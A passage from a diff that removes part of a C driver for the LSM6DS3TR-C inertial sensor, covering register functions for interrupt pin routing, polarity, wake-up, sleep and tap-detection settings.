MD1_CFG, CTRL4_C(den_drdy_int1), - * MASTER_CONFIG(drdy_on_int1) - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_pin_int1_route_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_int1_route_t* val) { - lsm6ds3tr_c_master_config_t master_config; - lsm6ds3tr_c_int1_ctrl_t int1_ctrl; - lsm6ds3tr_c_md1_cfg_t md1_cfg; - lsm6ds3tr_c_ctrl4_c_t ctrl4_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_INT1_CTRL, (uint8_t*)&int1_ctrl, 1); - - if(ret == 0) { - val->int1_drdy_xl = int1_ctrl.int1_drdy_xl; - val->int1_drdy_g = int1_ctrl.int1_drdy_g; - val->int1_boot = int1_ctrl.int1_boot; - val->int1_fth = int1_ctrl.int1_fth; - val->int1_fifo_ovr = int1_ctrl.int1_fifo_ovr; - val->int1_full_flag = int1_ctrl.int1_full_flag; - val->int1_sign_mot = int1_ctrl.int1_sign_mot; - val->int1_step_detector = int1_ctrl.int1_step_detector; - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_MD1_CFG, (uint8_t*)&md1_cfg, 1); - - if(ret == 0) { - val->int1_timer = md1_cfg.int1_timer; - val->int1_tilt = md1_cfg.int1_tilt; - val->int1_6d = md1_cfg.int1_6d; - val->int1_double_tap = md1_cfg.int1_double_tap; - val->int1_ff = md1_cfg.int1_ff; - val->int1_wu = md1_cfg.int1_wu; - val->int1_single_tap = md1_cfg.int1_single_tap; - val->int1_inact_state = md1_cfg.int1_inact_state; - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL4_C, (uint8_t*)&ctrl4_c, 1); - - if(ret == 0) { - val->den_drdy_int1 = ctrl4_c.den_drdy_int1; - ret = lsm6ds3tr_c_read_reg( - ctx, LSM6DS3TR_C_MASTER_CONFIG, (uint8_t*)&master_config, 1); - val->den_drdy_int1 = master_config.drdy_on_int1; - } - } - } - - return ret; -} - -/** - * @brief Select the signal that need to route on int2 pad[set] - * - * @param ctx Read / write interface definitions - * @param val INT2_CTRL, DRDY_PULSE_CFG(int2_wrist_tilt), MD2_CFG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_pin_int2_route_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_int2_route_t val) { - lsm6ds3tr_c_int2_ctrl_t int2_ctrl; - lsm6ds3tr_c_md1_cfg_t md1_cfg; - lsm6ds3tr_c_md2_cfg_t md2_cfg; - lsm6ds3tr_c_drdy_pulse_cfg_g_t drdy_pulse_cfg_g; - lsm6ds3tr_c_tap_cfg_t tap_cfg; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_INT2_CTRL, (uint8_t*)&int2_ctrl, 1); - - if(ret == 0) { - int2_ctrl.int2_drdy_xl = val.int2_drdy_xl; - int2_ctrl.int2_drdy_g = val.int2_drdy_g; - int2_ctrl.int2_drdy_temp = val.int2_drdy_temp; - int2_ctrl.int2_fth = val.int2_fth; - int2_ctrl.int2_fifo_ovr = val.int2_fifo_ovr; - int2_ctrl.int2_full_flag = val.int2_full_flag; - int2_ctrl.int2_step_count_ov = val.int2_step_count_ov; - int2_ctrl.int2_step_delta = val.int2_step_delta; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_INT2_CTRL, (uint8_t*)&int2_ctrl, 1); - } - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_MD1_CFG, (uint8_t*)&md1_cfg, 1); - } - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_MD2_CFG, (uint8_t*)&md2_cfg, 1); - } - - if(ret == 0) { - md2_cfg.int2_iron = val.int2_iron; - md2_cfg.int2_tilt = val.int2_tilt; - md2_cfg.int2_6d = val.int2_6d; - md2_cfg.int2_double_tap = val.int2_double_tap; - md2_cfg.int2_ff = val.int2_ff; - md2_cfg.int2_wu = val.int2_wu; - md2_cfg.int2_single_tap = val.int2_single_tap; - md2_cfg.int2_inact_state = val.int2_inact_state; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_MD2_CFG, (uint8_t*)&md2_cfg, 1); - } - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg( - ctx, LSM6DS3TR_C_DRDY_PULSE_CFG_G, (uint8_t*)&drdy_pulse_cfg_g, 1); - } - - if(ret == 0) { - drdy_pulse_cfg_g.int2_wrist_tilt = val.int2_wrist_tilt; - ret = lsm6ds3tr_c_write_reg( - ctx, LSM6DS3TR_C_DRDY_PULSE_CFG_G, (uint8_t*)&drdy_pulse_cfg_g, 1); - } - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_TAP_CFG, (uint8_t*)&tap_cfg, 1); - - if((md1_cfg.int1_6d != 0x00U) || (md1_cfg.int1_ff != 0x00U) || - (md1_cfg.int1_wu != 0x00U) || (md1_cfg.int1_single_tap != 0x00U) || - (md1_cfg.int1_double_tap != 0x00U) || (md1_cfg.int1_inact_state != 0x00U) || - (val.int2_6d != 0x00U) || (val.int2_ff != 0x00U) || (val.int2_wu != 0x00U) || - (val.int2_single_tap != 0x00U) || (val.int2_double_tap != 0x00U) || - (val.int2_inact_state != 0x00U)) { - tap_cfg.interrupts_enable = PROPERTY_ENABLE; - } - - else { - tap_cfg.interrupts_enable = PROPERTY_DISABLE; - } - } - - if(ret == 0) { - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_TAP_CFG, (uint8_t*)&tap_cfg, 1); - } - - return ret; -} - -/** - * @brief Select the signal that need to route on int2 pad[get] - * - * @param ctx Read / write interface definitions - * @param val INT2_CTRL, DRDY_PULSE_CFG(int2_wrist_tilt), MD2_CFG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_pin_int2_route_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_int2_route_t* val) { - lsm6ds3tr_c_int2_ctrl_t int2_ctrl; - lsm6ds3tr_c_md2_cfg_t md2_cfg; - lsm6ds3tr_c_drdy_pulse_cfg_g_t drdy_pulse_cfg_g; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_INT2_CTRL, (uint8_t*)&int2_ctrl, 1); - - if(ret == 0) { - val->int2_drdy_xl = int2_ctrl.int2_drdy_xl; - val->int2_drdy_g = int2_ctrl.int2_drdy_g; - val->int2_drdy_temp = int2_ctrl.int2_drdy_temp; - val->int2_fth = int2_ctrl.int2_fth; - val->int2_fifo_ovr = int2_ctrl.int2_fifo_ovr; - val->int2_full_flag = int2_ctrl.int2_full_flag; - val->int2_step_count_ov = int2_ctrl.int2_step_count_ov; - val->int2_step_delta = int2_ctrl.int2_step_delta; - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_MD2_CFG, (uint8_t*)&md2_cfg, 1); - - if(ret == 0) { - val->int2_iron = md2_cfg.int2_iron; - val->int2_tilt = md2_cfg.int2_tilt; - val->int2_6d = md2_cfg.int2_6d; - val->int2_double_tap = md2_cfg.int2_double_tap; - val->int2_ff = md2_cfg.int2_ff; - val->int2_wu = md2_cfg.int2_wu; - val->int2_single_tap = md2_cfg.int2_single_tap; - val->int2_inact_state = md2_cfg.int2_inact_state; - ret = lsm6ds3tr_c_read_reg( - ctx, LSM6DS3TR_C_DRDY_PULSE_CFG_G, (uint8_t*)&drdy_pulse_cfg_g, 1); - val->int2_wrist_tilt = drdy_pulse_cfg_g.int2_wrist_tilt; - } - } - - return ret; -} - -/** - * @brief Push-pull/open drain selection on interrupt pads.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of pp_od in reg CTRL3_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_pin_mode_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_pp_od_t val) { - lsm6ds3tr_c_ctrl3_c_t ctrl3_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL3_C, (uint8_t*)&ctrl3_c, 1); - - if(ret == 0) { - ctrl3_c.pp_od = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL3_C, (uint8_t*)&ctrl3_c, 1); - } - - return ret; -} - -/** - * @brief Push-pull/open drain selection on interrupt pads.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of pp_od in reg CTRL3_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_pin_mode_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_pp_od_t* val) { - lsm6ds3tr_c_ctrl3_c_t ctrl3_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL3_C, (uint8_t*)&ctrl3_c, 1); - - switch(ctrl3_c.pp_od) { - case LSM6DS3TR_C_PUSH_PULL: - *val = LSM6DS3TR_C_PUSH_PULL; - break; - - case LSM6DS3TR_C_OPEN_DRAIN: - *val = LSM6DS3TR_C_OPEN_DRAIN; - break; - - default: - *val = LSM6DS3TR_C_PIN_MODE_ND; - break; - } - - return ret; -} - -/** - * @brief Interrupt active-high/low.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of h_lactive in reg CTRL3_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_pin_polarity_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_h_lactive_t val) { - lsm6ds3tr_c_ctrl3_c_t ctrl3_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL3_C, (uint8_t*)&ctrl3_c, 1); - - if(ret == 0) { - ctrl3_c.h_lactive = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL3_C, (uint8_t*)&ctrl3_c, 1); - } - - return ret; -} - -/** - * @brief Interrupt active-high/low.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of h_lactive in reg CTRL3_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_pin_polarity_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_h_lactive_t* val) { - lsm6ds3tr_c_ctrl3_c_t ctrl3_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL3_C, (uint8_t*)&ctrl3_c, 1); - - switch(ctrl3_c.h_lactive) { - case LSM6DS3TR_C_ACTIVE_HIGH: - *val = LSM6DS3TR_C_ACTIVE_HIGH; - break; - - case LSM6DS3TR_C_ACTIVE_LOW: - *val = LSM6DS3TR_C_ACTIVE_LOW; - break; - - default: - *val = LSM6DS3TR_C_POLARITY_ND; - break; - } - - return ret; -} - -/** - * @brief All interrupt signals become available on INT1 pin.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of int2_on_int1 in reg CTRL4_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_all_on_int1_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_ctrl4_c_t ctrl4_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL4_C, (uint8_t*)&ctrl4_c, 1); - - if(ret == 0) { - ctrl4_c.int2_on_int1 = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL4_C, (uint8_t*)&ctrl4_c, 1); - } - - return ret; -} - -/** - * @brief All interrupt signals become available on INT1 pin.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of int2_on_int1 in reg CTRL4_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_all_on_int1_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_ctrl4_c_t ctrl4_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL4_C, (uint8_t*)&ctrl4_c, 1); - *val = ctrl4_c.int2_on_int1; - - return ret; -} - -/** - * @brief Latched/pulsed interrupt.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of lir in reg TAP_CFG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_int_notification_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_lir_t val) { - lsm6ds3tr_c_tap_cfg_t tap_cfg; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_TAP_CFG, (uint8_t*)&tap_cfg, 1); - - if(ret == 0) { - tap_cfg.lir = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_TAP_CFG, (uint8_t*)&tap_cfg, 1); - } - - return ret; -} - -/** - * @brief Latched/pulsed interrupt.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of lir in reg TAP_CFG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_int_notification_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_lir_t* val) { - lsm6ds3tr_c_tap_cfg_t tap_cfg; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_TAP_CFG, (uint8_t*)&tap_cfg, 1); - - switch(tap_cfg.lir) { - case LSM6DS3TR_C_INT_PULSED: - *val = LSM6DS3TR_C_INT_PULSED; - break; - - case LSM6DS3TR_C_INT_LATCHED: - *val = LSM6DS3TR_C_INT_LATCHED; - break; - - default: - *val = LSM6DS3TR_C_INT_MODE; - break; - } - - return ret; -} - -/** - * @} - * - */ - -/** - * @defgroup LSM6DS3TR_C_Wake_Up_event - * @brief This section groups all the functions that manage the - * Wake Up event generation. - * @{ - * - */ - -/** - * @brief Threshold for wakeup.1 LSB = FS_XL / 64.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of wk_ths in reg WAKE_UP_THS - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_wkup_threshold_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_wake_up_ths_t wake_up_ths; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_WAKE_UP_THS, (uint8_t*)&wake_up_ths, 1); - - if(ret == 0) { - wake_up_ths.wk_ths = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_WAKE_UP_THS, (uint8_t*)&wake_up_ths, 1); - } - - return ret; -} - -/** - * @brief Threshold for wakeup.1 LSB = FS_XL / 64.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of wk_ths in reg WAKE_UP_THS - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_wkup_threshold_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_wake_up_ths_t wake_up_ths; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_WAKE_UP_THS, (uint8_t*)&wake_up_ths, 1); - *val = wake_up_ths.wk_ths; - - return ret; -} - -/** - * @brief Wake up duration event.1LSb = 1 / ODR[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of wake_dur in reg WAKE_UP_DUR - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_wkup_dur_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_wake_up_dur_t wake_up_dur; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_WAKE_UP_DUR, (uint8_t*)&wake_up_dur, 1); - - if(ret == 0) { - wake_up_dur.wake_dur = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_WAKE_UP_DUR, (uint8_t*)&wake_up_dur, 1); - } - - return ret; -} - -/** - * @brief Wake up duration event.1LSb = 1 / ODR[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of wake_dur in reg WAKE_UP_DUR - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_wkup_dur_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_wake_up_dur_t wake_up_dur; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_WAKE_UP_DUR, (uint8_t*)&wake_up_dur, 1); - *val = wake_up_dur.wake_dur; - - return ret; -} - -/** - * @} - * - */ - -/** - * @defgroup LSM6DS3TR_C_Activity/Inactivity_detection - * @brief This section groups all the functions concerning - * activity/inactivity detection. - * @{ - * - */ - -/** - * @brief Enables gyroscope Sleep mode.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of sleep in reg CTRL4_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_gy_sleep_mode_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_ctrl4_c_t ctrl4_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL4_C, (uint8_t*)&ctrl4_c, 1); - - if(ret == 0) { - ctrl4_c.sleep = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL4_C, (uint8_t*)&ctrl4_c, 1); - } - - return ret; -} - -/** - * @brief Enables gyroscope Sleep mode.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of sleep in reg CTRL4_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_gy_sleep_mode_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_ctrl4_c_t ctrl4_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL4_C, (uint8_t*)&ctrl4_c, 1); - *val = ctrl4_c.sleep; - - return ret; -} - -/** - * @brief Enable inactivity function.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of inact_en in reg TAP_CFG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_act_mode_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_inact_en_t val) { - lsm6ds3tr_c_tap_cfg_t tap_cfg; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_TAP_CFG, (uint8_t*)&tap_cfg, 1); - - if(ret == 0) { - tap_cfg.inact_en = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_TAP_CFG, (uint8_t*)&tap_cfg, 1); - } - - return ret; -} - -/** - * @brief Enable inactivity function.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of inact_en in reg TAP_CFG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_act_mode_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_inact_en_t* val) { - lsm6ds3tr_c_tap_cfg_t tap_cfg; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_TAP_CFG, (uint8_t*)&tap_cfg, 1); - - switch(tap_cfg.inact_en) { - case LSM6DS3TR_C_PROPERTY_DISABLE: - *val = LSM6DS3TR_C_PROPERTY_DISABLE; - break; - - case LSM6DS3TR_C_XL_12Hz5_GY_NOT_AFFECTED: - *val = LSM6DS3TR_C_XL_12Hz5_GY_NOT_AFFECTED; - break; - - case LSM6DS3TR_C_XL_12Hz5_GY_SLEEP: - *val = LSM6DS3TR_C_XL_12Hz5_GY_SLEEP; - break; - - case LSM6DS3TR_C_XL_12Hz5_GY_PD: - *val = LSM6DS3TR_C_XL_12Hz5_GY_PD; - break; - - default: - *val = LSM6DS3TR_C_ACT_MODE_ND; - break; - } - - return ret; -} - -/** - * @brief Duration to go in sleep mode.1 LSb = 512 / ODR[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of sleep_dur in reg WAKE_UP_DUR - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_act_sleep_dur_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_wake_up_dur_t wake_up_dur; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_WAKE_UP_DUR, (uint8_t*)&wake_up_dur, 1); - - if(ret == 0) { - wake_up_dur.sleep_dur = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_WAKE_UP_DUR, (uint8_t*)&wake_up_dur, 1); - } - - return ret; -} - -/** - * @brief Duration to go in sleep mode. 1 LSb = 512 / ODR[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of sleep_dur in reg WAKE_UP_DUR - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_act_sleep_dur_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_wake_up_dur_t wake_up_dur; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_WAKE_UP_DUR, (uint8_t*)&wake_up_dur, 1); - *val = wake_up_dur.sleep_dur; - - return ret; -} - -/** - * @} - * - */ - -/** - * @defgroup LSM6DS3TR_C_tap_generator - * @brief This section groups all the functions that manage the - * tap and double tap event generation. - * @{ - * - */ - -/** - * @brief Read the tap / double tap source register.[get] - * - * @param ctx Read / write interface definitions - * @param val Structure of registers from TAP_SRC - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_tap_src_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_tap_src_t* val) { - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_TAP_SRC, (uint8_t*)val, 1); - - return ret; -} - -/** - * @brief Enable Z direction in tap recognition.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of tap_z_en in reg TAP_CFG - * - */ -int32_t lsm6ds3tr_c_tap_detection_on_z_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_tap_cfg_t tap_cfg; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_TAP_CFG, (uint8_t*)&tap_cfg, 1); - - if(ret == 0) { - tap_cfg.tap_z_en = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_TAP_CFG, (uint8_t*)&tap_cfg, 1); - } - - return ret; -} - -/** - * @brief Enable Z direction in tap recognition.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of tap_z_en in reg TAP_CFG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_tap_detection_on_z_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_tap_cfg_t tap_cfg; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_TAP_CFG, (uint8_t*)&tap_cfg, 1); - *val = tap_cfg.tap_z_en; - - return ret; -} - -/** - * @brief Enable Y direction in tap recognition.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of tap_y_en in reg TAP_CFG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_tap_detection_on_y_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_tap_cfg_t tap_cfg; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_TAP_CFG, (uint8_t*)&tap_cfg, 1); - - if(ret == 0) { - tap_cfg.tap_y_en = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_TAP_CFG, (uint8_t*)&tap_cfg, 1); - } - - return ret; -} - -/** - * @brief Enable Y direction in tap recognition.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of tap_y_en in reg TAP_CFG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_tap_detection_on_y_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_tap_cfg_t tap_cfg; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_TAP_CFG, (uint8_t*)&tap_cfg, 1); - *val = tap_cfg.tap_y_en; - - return ret; -} - -/** - * @brief Enable X direction in tap recognition.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of tap_x_en in reg TAP_CFG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_tap_detection_on_x_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_tap_cfg_t tap_cfg; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_TAP_CFG, (uint8_t*)&tap_cfg, 1); - - if(ret == 0) { - tap_cfg.tap_x_en = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_TAP_CFG, (uint8_t*)&tap_cfg, 1); - } - - return ret; -} - -/** - * @brief Enable X direction in tap recognition.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of tap_x_en in reg TAP_CFG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_tap_detection_on_x_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_tap_cfg_t tap_cfg; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_TAP_CFG, (uint8_t*)&tap_cfg, 1); - *val = tap_cfg.tap_x_en; - - return ret; -} - -/** - * @brief Threshold for tap recognition.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of tap_ths in reg TAP_THS_6D - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_tap_threshold_x_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_tap_ths_6d_t tap_ths_6d; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_TAP_THS_6D, (uint8_t*)&tap_ths_6d, 1); - - if(ret == 0) { - tap_ths_6d.tap_ths = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_TAP_THS_6D, (uint8_t*)&tap_ths_6d, 1); - } - - return ret; -} - -/** - * @brief Threshold for tap recognition.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of tap_ths in reg TAP_THS_6D - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_tap_threshold_x_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_tap_ths_6d_t tap_ths_6d; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_TAP_THS_6D, (uint8_t*)&tap_ths_6d, 1); - *val = tap_ths_6d.tap_ths; - - return ret; -} - -/** - * @brief Maximum duration is the maximum time of an overthreshold signal - * detection to be recognized as a tap event. - * The default value of these bits is 00b which corresponds to - * 4*ODR_XL time. - * If the SHOCK[1:0] bits are set to a different - * value, 1LSB corresponds to 8*ODR_XL time.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of shock in reg INT_DUR2 - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_tap_shock_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_int_dur2_t int_dur2; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_INT_DUR2, (uint8_t*)&int_dur2, 1); - - if(ret == 0) { - int_dur2.shock = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_INT_DUR2, (uint8_t*)&int_dur2, 1); - } - - return ret; -} - -/** - * @brief Maximum duration is the maximum time of an overthreshold signal - * detection to be recognized as a tap event. - * The default value of these bits is 00b which corresponds to - * 4*ODR_XL time. - * If the SHOCK[1:0] bits are set to a different value, 1LSB - * corresponds to 8*ODR_XL time.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of shock in reg INT_DUR2 - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_tap_shock_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_int_dur2_t int_dur2; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_INT_DUR2, (uint8_t*)&int_dur2, 1); - *val = int_dur2.shock; - - return ret; -} - -/** - * @brief Quiet time is the time after the first detected tap in which there - * must not be any overthreshold event. - * The default value of these bits is 00b which corresponds to - * 2*ODR_XL time. - * If the QUIET[1:0] bits are set to a different value, 1LSB - * corresponds to 4*ODR_XL time.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of quiet in reg INT_DUR2 - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_tap_quiet_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_int_dur2_t int_dur2; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_INT_DUR2, (uint8_t*)&int_dur2, 1); - - if(ret == 0) { - int_dur2.quiet = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_INT_DUR2, (uint8_t*)&int_dur2, 1); - } - - return ret; -} - -/** - * @brief Quiet time is the time after the first detected tap in which there - * must not be any overthreshold event. - * The default value of these bits is 00b which corresponds to - * 2*ODR_XL time. - * If the QUIET[1:0] bits are set to a different value, 1LSB - * corresponds to 4*ODR_XL time.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of quiet in reg 